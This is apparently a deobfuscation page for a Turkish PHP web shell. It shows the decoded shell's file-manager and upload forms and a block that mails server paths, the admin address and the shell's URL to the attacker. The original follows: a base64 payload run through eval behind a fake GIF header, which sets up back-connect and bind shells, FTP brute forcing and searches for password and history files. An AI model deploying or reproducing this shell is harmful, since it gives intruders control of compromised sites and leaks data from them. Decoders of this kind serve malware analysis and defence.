 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Arama</b></a> ::</b><form method="POST"><input type=hidden name=act value="Ara"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type=submit name=submit value="Ara"></form></center></p></td>
 <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
</tr>
</table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Klasor olustur ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosya olustur ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Olustur"><br><?php echo $wdt; ?></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Dizine Git ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Git"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Dosyaya gir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Git"></form></center></td></tr></table>
<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>[ <b>Edited By</b></a>   <a href="<?php echo $surl; ?>act=about"><font color="#00ff00"><?php echo $shver; ?></font></a> | Sayfa: <?php echo round(getmicrotime()-starttime,4); ?> sn\' de uretilmistir. ]</body></html><?php chdir($lastdir); ashshexit(); ?>
<?php
$kime="[email protected]";
$baslik="Sadrazam Casus Shell";
$EL_MuHaMMeD="Dosya Yolu : ".$_SERVER[\'DOCUMENT_ROOT\']."
";
$EL_MuHaMMeD.="Server Admin : ".$_SERVER[\'SERVER_ADMIN\']."
";
$EL_MuHaMMeD.="Server isletim sistemi : ".$_SERVER[\'SERVER_SOFTWARE\']."
";
$EL_MuHaMMeD.="Shell Link : http://".$_SERVER[\'SERVER_NAME\'].$_SERVER[\'PHP_SELF\']."
";
$EL_MuHaMMeD.="Avlanan Site : " .$_SERVER[\'HTTP_HOST\']."
";
mail($kime, $baslik, $EL_MuHaMMeD);
?>'

Did this file decode correctly?

Original Code

G?F89;a
<?php eval("?>".base64_decode("PD9waHANCi8vU3RhcnRpbmcgY2FsbHMNCmlmICghZnVuY3Rpb25fZXhpc3RzKCJnZXRtaWNyb3RpbWUiKSkge2Z1bmN0aW9uIGdldG1pY3JvdGltZSgpIHtsaXN0KCR1c2VjLCAkc2VjKSA9IGV4cGxvZGUoIiAiLCBtaWNyb3RpbWUoKSk7IHJldHVybiAoKGZsb2F0KSR1c2VjICsgKGZsb2F0KSRzZWMpO319DQplcnJvcl9yZXBvcnRpbmcoNSk7DQpAaWdub3JlX3VzZXJfYWJvcnQodHJ1ZSk7DQpAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOw0KJHdpbiA9IHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsNCmRlZmluZSgic3RhcnR0aW1lIixnZXRtaWNyb3RpbWUoKSk7DQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkge2lmICghZnVuY3Rpb25fZXhpc3RzKCJzdHJpcHMiKSkge2Z1bmN0aW9uIHN0cmlwcygmJGFyciwkaz0iIikge2lmIChpc19hcnJheSgkYXJyKSkge2ZvcmVhY2goJGFyciBhcyAkaz0+JHYpIHtpZiAoc3RydG91cHBlcigkaykgIT0gIkdMT0JBTFMiKSB7c3RyaXBzKCRhcnJbIiRrIl0pO319fSBlbHNlIHskYXJyID0gc3RyaXBzbGFzaGVzKCRhcnIpO319fSBzdHJpcHMoJEdMT0JBTFMpO30NCiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCRfR0VULCRfUE9TVCk7DQpmb3JlYWNoKCRfUkVRVUVTVCBhcyAkaz0+JHYpIHtpZiAoIWlzc2V0KCQkaykpIHskJGsgPSAkdjt9fQ0KDQokc2h2ZXIgPSAiS2luZ0RlZmFjZXIiOyAvL0N1cnJlbnQgdmVyc2lvbg0KLy9DT05GSUdVUkFUSU9OIEFORCBTRVRUSU5HUw0KaWYgKCFlbXB0eSgkdW5zZXRfc3VybCkpIHtzZXRjb29raWUoImFzaGNvaWtlX3N1cmwiKTsgJHN1cmwgPSAiIjt9DQplbHNlaWYgKCFlbXB0eSgkc2V0X3N1cmwpKSB7JHN1cmwgPSAkc2V0X3N1cmw7IHNldGNvb2tpZSgiYXNoY29pa2Vfc3VybCIsJHN1cmwpO30NCmVsc2UgeyRzdXJsID0gJF9SRVFVRVNUWyJhc2hjb2lrZV9zdXJsIl07IC8vU2V0IHRoaXMgY29va2llIGZvciBtYW51YWwgU1VSTA0KfQ0KDQokc3VybF9hdXRvZmlsbF9pbmNsdWRlID0gdHJ1ZTsgLy9JZiB0cnVlIHRoZW4gc2VhcmNoIHZhcmlhYmxlcyB3aXRoIGRlc2NyaXB0b3JzIChVUkxzKSBhbmQgc2F2ZSBpdCBpbiBTVVJMLg0KDQppZiAoJHN1cmxfYXV0b2ZpbGxfaW5jbHVkZSBhbmQgISRfUkVRVUVTVFsiYXNoY29pa2Vfc3VybCJdKSB7JGluY2x1ZGUgPSAiJiI7IGZvcmVhY2ggKGV4cGxvZGUoIiYiLGdldGVudigiUVVFUllfU1RSSU5HIikpIGFzICR2KSB7JHYgPSBleHBsb2RlKCI9Iiwkdik7ICRuYW1lID0gdXJsZGVjb2RlKCR2WzBdKTsgJHZhbHVlID0gdXJsZGVjb2RlKCR2WzFdKTsgZm9yZWFjaCAoYXJyYXkoImh0dHA6Ly8iLCJodHRwczovLyIsInNzbDovLyIsImZ0cDovLyIsIlxcXFwiKSBhcyAkbmVlZGxlKSB7aWYgKHN0cnBvcygkdmFsdWUsJG5lZWRsZSkgPT09IDApIHskaW5jbHVkZXN0ciAuPSB1cmxlbmNvZGUoJG5hbWUpLiI9Ii51cmxlbmNvZGUoJHZhbHVlKS4iJiI7fX19IGlmICgkX1JFUVVFU1RbInN1cmxfYXV0b2ZpbGxfaW5jbHVkZSJdKSB7JGluY2x1ZGVzdHIgLj0gInN1cmxfYXV0b2ZpbGxfaW5jbHVkZT0xJiI7fX0NCmlmIChlbXB0eSgkc3VybCkpDQp7DQogJHN1cmwgPSAiPyIuJGluY2x1ZGVzdHI7IC8vU2VsZiB1cmwNCn0NCiRzdXJsID0gaHRtbHNwZWNpYWxjaGFycygkc3VybCk7DQoNCiR0aW1lbGltaXQgPSAwOyAvL3RpbWUgbGltaXQgb2YgZXhlY3V0aW9uIHRoaXMgc2NyaXB0IG92ZXIgc2VydmVyIHF1b3RlIChzZWNvbmRzKSwgMCA9IHVubGltaXRlZC4NCg0KLy9BdXRoZW50aWNhdGlvbg0KJGxvZ2luID0gIiI7IC8vbG9naW4NCi8vRE9OJ1QgRk9SR09UIEFCT1VUIFBBU1NXT1JEISEhDQokcGFzcyA9ICIiOyAvL3Bhc3N3b3JkDQokbWQ1X3Bhc3MgPSAiIjsgLy9tZDUtY3J5cGVkIHBhc3MuIGlmIG51bGwsIG1kNSgkcGFzcykNCg0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyAvL2FycmF5ICgie21hc2t9MSIsInttYXNrfTIiLC4uLiksIHttYXNrfSA9IElQIG9yIEhPU1QgZS5nLiBhcnJheSgiMTkyLjE2OC4wLioiLCIxMjcuMC4wLjEiKQ0KJGxvZ2luX3R4dCA9ICJSZXN0cmljdGVkIGFyZWEiOyAvL2h0dHAtYXV0aCBtZXNzYWdlLg0KJGFjY2Vzc2RlbmllZG1lc3MgPSAiPGEgaHJlZj1cImh0dHA6Ly94eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHhcIj5TcFlzaGVsbCB2LiIuJHNodmVyLiI8L2E+OiBFcmlzaW0gRW5nZWxsZW5kaSI7DQoNCiRnemlwZW5jb2RlID0gdHJ1ZTsgLy9FbmNvZGUgd2l0aCBnemlwPw0KDQokdXBkYXRlbm93ID0gZmFsc2U7IC8vSWYgdHJ1ZSwgdXBkYXRlIG5vdyAodGhpcyB2YXJpYWJsZSB3aWxsIGJlIGZhbHNlKQ0KDQokYXNoc2hfdXBkYXRldXJsID0gImh0dHA6Ly94eHh4eHh4eHh4eHh4eHh4eHh4eHh4IjsgLy9VcGRhdGUgc2VydmVyDQokYXNoc2hfc291cmNlc3VybCA9ICJodHRwOi8veHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4IjsgLy9Tb3VyY2VzLXNlcnZlcg0KDQokZmlsZXN0ZWFsdGggPSB0cnVlOyAvL2lmIHRydWUsIGRvbid0IGNoYW5nZSBtb2RpZnktIGFuZCBhY2Nlc3MtdGltZQ0KDQokZG9uYXRlZF9odG1sID0gIjxjZW50ZXI+PGI+UG93ZXJhZCBCeSBTcHlIYWNrZXJ6PC9iPjwvY2VudGVyPiI7DQoJCS8qIElmIHlvdSBwdWJsaXNoICBzaGVsbCBhbmQgeW91IHdpc2gNCgkJYWRkIGxpbmsgdG8geW91ciBzaXRlIG9yIGFueSBvdGhlciBpbmZvcm1hdGlvbiwNCgkJcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXINCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0ZvbGRlciBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRzb3J0X2RlZmF1bHQgPSAiMGEiOyAvL0RlZmF1bHQgc29ydGluZywgMCAtIG51bWJlciBvZiBjb2xvbW4sICJhInNjZW5kaW5nIG9yICJkImVzY2VuZGluZw0KJHNvcnRfc2F2ZSA9IHRydWU7IC8vSWYgdHJ1ZSB0aGVuIHNhdmUgc29ydGluZy1wb3NpdGlvbiB1c2luZyBjb29raWVzLg0KDQovLyBSZWdpc3RlcmVkIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgICJ7YWN0aW9uMX0iPT5hcnJheSgiZXh0MSIsImV4dDIiLCJleHQzIiwuLi4pLA0KLy8gICAie2FjdGlvbjJ9Ij0+YXJyYXkoImV4dDQiLCJleHQ1IiwiZXh0NiIsLi4uKSwNCi8vICAgLi4uDQovLyAgKQ0KJGZ0eXBlcyAgPSBhcnJheSgNCiAiaHRtbCI9PmFycmF5KCJodG1sIiwiaHRtIiwic2h0bWwiKSwNCiAidHh0Ij0+YXJyYXkoInR4dCIsImNvbmYiLCJiYXQiLCJzaCIsImpzIiwiYmFrIiwiZG9jIiwibG9nIiwic2ZjIiwiY2ZnIiwiaHRhY2Nlc3MiKSwNCiAiZXhlIj0+YXJyYXkoInNoIiwiaW5zdGFsbCIsImJhdCIsImNtZCIpLA0KICJpbmkiPT5hcnJheSgiaW5pIiwiaW5mIiksDQogImNvZGUiPT5hcnJheSgicGhwIiwicGh0bWwiLCJwaHAzIiwicGhwNCIsImluYyIsInRjbCIsImgiLCJjIiwiY3BwIiwicHkiLCJjZ2kiLCJwbCIpLA0KICJpbWciPT5hcnJheSgiZ2lmIiwicG5nIiwianBlZyIsImpmaWYiLCJqcGciLCJqcGUiLCJibXAiLCJpY28iLCJ0aWYiLCJ0aWZmIiwiYXZpIiwibXBnIiwibXBlZyIpLA0KICJzZGIiPT5hcnJheSgic2RiIiksDQogInBocHNlc3MiPT5hcnJheSgic2VzcyIpLA0KICJkb3dubG9hZCI9PmFycmF5KCJleGUiLCJjb20iLCJwaWYiLCJzcmMiLCJsbmsiLCJ6aXAiLCJyYXIiLCJneiIsInRhciIpDQopOw0KDQovLyBSZWdpc3RlcmVkIGV4ZWN1dGFibGUgZmlsZS10eXBlcy4NCi8vICBhcnJheSgNCi8vICAgc3RyaW5nICJjb21tYW5ke2l9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgLi4uDQovLyAgKQ0KLy8gICB7Y29tbWFuZH06ICVmJSA9IGZpbGVuYW1lDQokZXhlZnR5cGVzICA9IGFycmF5KA0KIGdldGVudigiUEhQUkMiKS4iIC1xICVmJSIgPT4gYXJyYXkoInBocCIsInBocDMiLCJwaHA0IiksDQogInBlcmwgJWYlIiA9PiBhcnJheSgicGwiLCJjZ2kiKQ0KKTsNCg0KLyogSGlnaGxpZ2h0ZWQgZmlsZXMuDQogIGFycmF5KA0KICAgaT0+YXJyYXkoe3JlZ2V4cH0se3R5cGV9LHtvcGVudGFnfSx7Y2xvc2V0YWd9LHticmVha30pDQogICAuLi4NCiAgKQ0KICBzdHJpbmcge3JlZ2V4cH0gLSByZWd1bGFyIGV4cC4NCiAgaW50IHt0eXBlfToNCgkwIC0gZmlsZXMgYW5kIGZvbGRlcnMgKGFzIGRlZmF1bHQpLA0KCTEgLSBmaWxlcyBvbmx5LCAyIC0gZm9sZGVycyBvbmx5DQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQ0KICBzdHJpbmcge2Nsb3NldGFnfSAtIGNsb3NlIGh0bWwtdGFnLCBlLmcuICI8L2I+IiAoZGVmYXVsdCkNCiAgYm9vbCB7YnJlYWt9IC0gaWYgdHJ1ZSBhbmQgZm91bmQgbWF0Y2ggdGhlbiBicmVhaw0KKi8NCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogIGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj1cInllbGxvd1wiPiIsIjwvZm9udD4iKSwgLy8gZXhhbXBsZQ0KICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQ0KKTsNCg0KJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4NCgkJCQkJCQkJCSAvLyBhcnJheSAoaT0+e2xldHRlcn0gLi4uKTsgc3RyaW5nIHtsZXR0ZXJ9IC0gbGV0dGVyIG9mIGEgZHJpdmUNCi8vJHNhZmVtb2RlX2Rpc2tldHRlcyA9IHJhbmdlKCJhIiwieiIpOw0KJGhleGR1bXBfbGluZXMgPSA4OwkvLyBsaW5lcyBpbiBoZXggcHJldmlldyBmaWxlDQokaGV4ZHVtcF9yb3dzID0gMjQ7CS8vIDE2LCAyNCBvciAzMiBieXRlcyBpbiBvbmUgbGluZQ0KDQokbml4cHdkcGVycGFnZSA9IDEwMDsgLy8gR2V0IGZpcnN0IE4gbGluZXMgZnJvbSAvZXRjL3Bhc3N3ZA0KDQokYmluZHBvcnRfcGFzcyA9ICJhc2giOwkgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcNCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nDQokYmNfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmFjay1jb25uZWN0DQokZGF0YXBpcGVfbG9jYWxwb3J0ID0gIjgwODEiOyAvLyBkZWZhdWx0IHBvcnQgZm9yIGRhdGFwaXBlDQoNCi8vIENvbW1hbmQtYWxpYXNlcw0KaWYgKCEkd2luKQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImxzIC1sYSIpLA0KICBhcnJheSgiQnV0dW4gc3VpZCBkb3N5YWxhcmluaSBidWwiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiQnV0dW4gc3VpZCBkb3N5YWxhcmluaSBzaW1kaWtpIGRpemluZGUgYnVsIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoIkJ1dHVuIHNnaWQgZG9zeWFsYXJpbmkgYnVsIiwgImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoIkJ1dHVuIHNnaWQgZG9zeWFsYXJpbmkgc2ltZGlraSBkaXppbmRlIGJ1bCIsICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiksDQogIGFycmF5KCJCdXR1biBjb25maWcuaW5jLnBocCBkb3N5YWxhcmluaSBidWwiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwNCiAgYXJyYXkoIkJ1dHVuIGNvbmZpZyogZG9zeWFsYXJpbmkgYnVsIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJCdXR1biBjb25maWcqIGRvc3lhbGFyaW5pIHNpbWRpa2kgZGl6aW5kZSBidWwiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiKSwNCiAgYXJyYXkoIkJ1dHVuIHlhemlsYWJpbGlyIGRvc3lhbGFyaSBidWwiLCAiZmluZCAvIC1wZXJtIC0yIC1scyIpLA0KICBhcnJheSgiQnV0dW4gZG9zeWEgdmUga2xhc29ybGVyaSBzaW1kaWtpIGRpemluZGUgYnVsIiwgImZpbmQgLiAtcGVybSAtMiAtbHMiKSwNCiAgYXJyYXkoIkJ1dHVuIHNlcnZpY2UucHdkIGRvc2xheWFsYXJpbmkgYnVsIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJCdXR1biBzZXJ2aWNlLnB3ZCBkb3N5YWxhcmluaSBzaW1kaWtpIGRpemluZGUgYnVsIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiksDQogIGFycmF5KCJCdXR1biAuaHRwYXNzd2QgZG9zeWFsYXJpbmkgYnVsIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICBhcnJheSgiQnV0dW4gLmh0cGFzc3dkIGRvc3lhbGFyaW5pIHNpbWRpa2kgZGl6aW5kZSBidWwiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJCdXR1biAuYmFzaF9oaXN0b3J5IGRvc3lhbGFyaW5pIGJ1bCIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogIGFycmF5KCJCdXR1biAuYmFzaF9oaXN0b3J5IGRvc3lhbGFyaW5pIHNpbWRpa2kgZGl6aW5kZSBidWwiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIpLA0KICBhcnJheSgiQnV0dW4gLmZldGNobWFpbHJjIGRvc3lhbGFyaW5pIGJ1bCIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoIkJ1dHVuIC5mZXRjaG1haWxyYyBkb3N5YWxhcmluaSBzaW1kaWtpIGRpemluZGUgYnVsIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIpLA0KICBhcnJheSgiQnV0dW4gTGludXggaWtpbmNpIGVyaXNlYmlsaXIgZG9zeWFsYXJpbmkgYnVsIiwgImxzYXR0ciAtdmEiKSwNCiAgYXJyYXkoIkJ1dHVuIEFjaWsgUG9ydGxhcmkgZ29zdGVyLiIsICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIikNCiApOw0KfQ0KZWxzZQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJkaXIiKSwNCiAgYXJyYXkoIkJ1dHVuIEFjaWsgUG9ydGxhcmkgZ29zdGVyLiIsICJuZXRzdGF0IC1hbiIpDQogKTsNCn0NCg0KJHNlc3NfY29va2llID0gImFzaHNodmFycyI7IC8vIENvb2tpZS12YXJpYWJsZSBuYW1lDQoNCiR1c2Vmc2J1ZmYgPSB0cnVlOyAvL0J1ZmZlci1mdW5jdGlvbg0KJGNvcHlfdW5zZXQgPSBmYWxzZTsgLy9SZW1vdmUgY29waWVkIGZpbGVzIGZyb20gYnVmZmVyIGFmdGVyIHBhc3RpbmcNCg0KLy9RdWljayBsYXVuY2gNCiRxdWlja2xhdW5jaCA9IGFycmF5KA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWhvbWVcIiBhbHQ9XCJBbmEgU2F5ZmFcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybCksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9YmFja1wiIGFsdD1cIkdlcmlcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmJhY2soMSkiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1mb3J3YXJkXCIgYWx0PVwiSWxlcmlcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+IiwiI1wiIG9uY2xpY2s9XCJoaXN0b3J5LmdvKDEpIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9dXBcIiBhbHQ9XCJZdWthcmlcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9cmVmcmVzaFwiIGFsdD1cIlllbmlsZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIxN1wiIGJvcmRlcj1cIjBcIj4iLCIiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zZWFyY2hcIiBhbHQ9XCJBcmFtYVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9c2VhcmNoJmQ9JWQiKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1idWZmZXJcIiBhbHQ9XCJUYW1wb25cIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWZzYnVmZiZkPSVkIiksDQogYXJyYXkoIjxiPkN5cmlwdG9zPC9iPiIsJHN1cmwuImFjdD1lbmNvZGVyJmQ9JWQiKSwNCiBhcnJheSgiPGI+QXJhY2xhcjwvYj4iLCRzdXJsLiJhY3Q9dG9vbHMmZD0lZCIpLA0KIGFycmF5KCI8Yj5Jc2xlbS48L2I+Iiwkc3VybC4iYWN0PXByb2Nlc3NlcyZkPSVkIiksDQogYXJyYXkoIjxiPkZUUCBicnV0ZTwvYj4iLCRzdXJsLiJhY3Q9ZnRwcXVpY2ticnV0ZSZkPSVkIiksDQogYXJyYXkoIjxiPkd1dmVubGlrPC9iPiIsJHN1cmwuImFjdD1zZWN1cml0eSZkPSVkIiksDQogYXJyYXkoIjxiPlNRTDwvYj4iLCRzdXJsLiJhY3Q9c3FsJmQ9JWQiKSwNCiBhcnJheSgiPGI+UEhQLWNvZGU8L2I+Iiwkc3VybC4iYWN0PWV2YWwmZD0lZCIpLA0KIGFycmF5KCI8Yj5CaWxkaXJpbTwvYj4iLCRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLA0KIGFycmF5KCI8Yj5JbWhhIEV0PC9iPiIsJHN1cmwuImFjdD1zZWxmcmVtb3ZlIiksDQogYXJyYXkoIjxiPkV4aXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnRW1pbm1pc2luIGRvc3R0dW0/JykpIHdpbmRvdy5jbG9zZSgpIikNCik7DQoNCi8vSGlnaGxpZ2h0LWNvZGUgY29sb3JzDQokaGlnaGxpZ2h0X2JhY2tncm91bmQgPSAiI2MwYzBjMCI7DQokaGlnaGxpZ2h0X2JnID0gIiNGRkZGRkYiOw0KJGhpZ2hsaWdodF9jb21tZW50ID0gIiM2QTZBNkEiOw0KJGhpZ2hsaWdodF9kZWZhdWx0ID0gIiMwMDAwQkIiOw0KJGhpZ2hsaWdodF9odG1sID0gIiMxMzAwRkYiOw0KJGhpZ2hsaWdodF9rZXl3b3JkID0gIiMwMDc3MDAiOw0KJGhpZ2hsaWdodF9zdHJpbmcgPSAiIzAwMDAwMCI7DQoNCkAkZiA9ICRfUkVRVUVTVFsiZiJdOw0KQGV4dHJhY3QoJF9SRVFVRVNUWyJhc2hzaGNvb2siXSk7DQoNCi8vRU5EIENPTkZJR1VSQVRJT04NCg0KDQovLyAJCQkJXC8JTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nCVwvDQpAc2V0X3RpbWVfbGltaXQoMCk7DQokdG1wID0gYXJyYXkoKTsNCmZvcmVhY2goJGhvc3RfYWxsb3cgYXMgJGs9PiR2KSB7JHRtcFtdID0gc3RyX3JlcGxhY2UoIlxcKiIsIi4qIixwcmVnX3F1b3RlKCR2KSk7fQ0KJHMgPSAiIV4oIi5pbXBsb2RlKCJ8IiwkdG1wKS4iKSQhaSI7DQppZiAoIXByZWdfbWF0Y2goJHMsZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSBhbmQgIXByZWdfbWF0Y2goJHMsZ2V0aG9zdGJ5YWRkcihnZXRlbnYoIlJFTU9URV9BRERSIikpKSkge2V4aXQoIjxhIGhyZWY9XCJodHRwOi8veHh4eHh4eHh4eHh4eHh4eHh4eFwiPlNwWXNoZWxsPC9hPjogRXJpc2ltIEVuZ2VsbGVuZGkgLSBTZW5pbiBIb3N0ICgiLmdldGVudigiUkVNT1RFX0FERFIiKS4iKSBub3QgYWxsb3ciKTt9DQppZiAoIWVtcHR5KCRsb2dpbikpDQp7DQogaWYgKGVtcHR5KCRtZDVfcGFzcykpIHskbWQ1X3Bhc3MgPSBtZDUoJHBhc3MpO30NCiBpZiAoKCRfU0VSVkVSWyJQSFBfQVVUSF9VU0VSIl0gIT0gJGxvZ2luKSBvciAobWQ1KCRfU0VSVkVSWyJQSFBfQVVUSF9QVyJdKSAhPSAkbWQ1X3Bhc3MpKQ0KIHsNCiAgaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUJlbGdlbGU6IEJhc2ljIHJlYWxtPVwiU3BZc2hlbGwgIi4kc2h2ZXIuIjogIi4kbG9naW5fdHh0LiJcIiIpOw0KICBoZWFkZXIoIkhUVFAvMS4wIDQwMSBZZXRraXNpeiIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiRsYXN0ZGlyID0gcm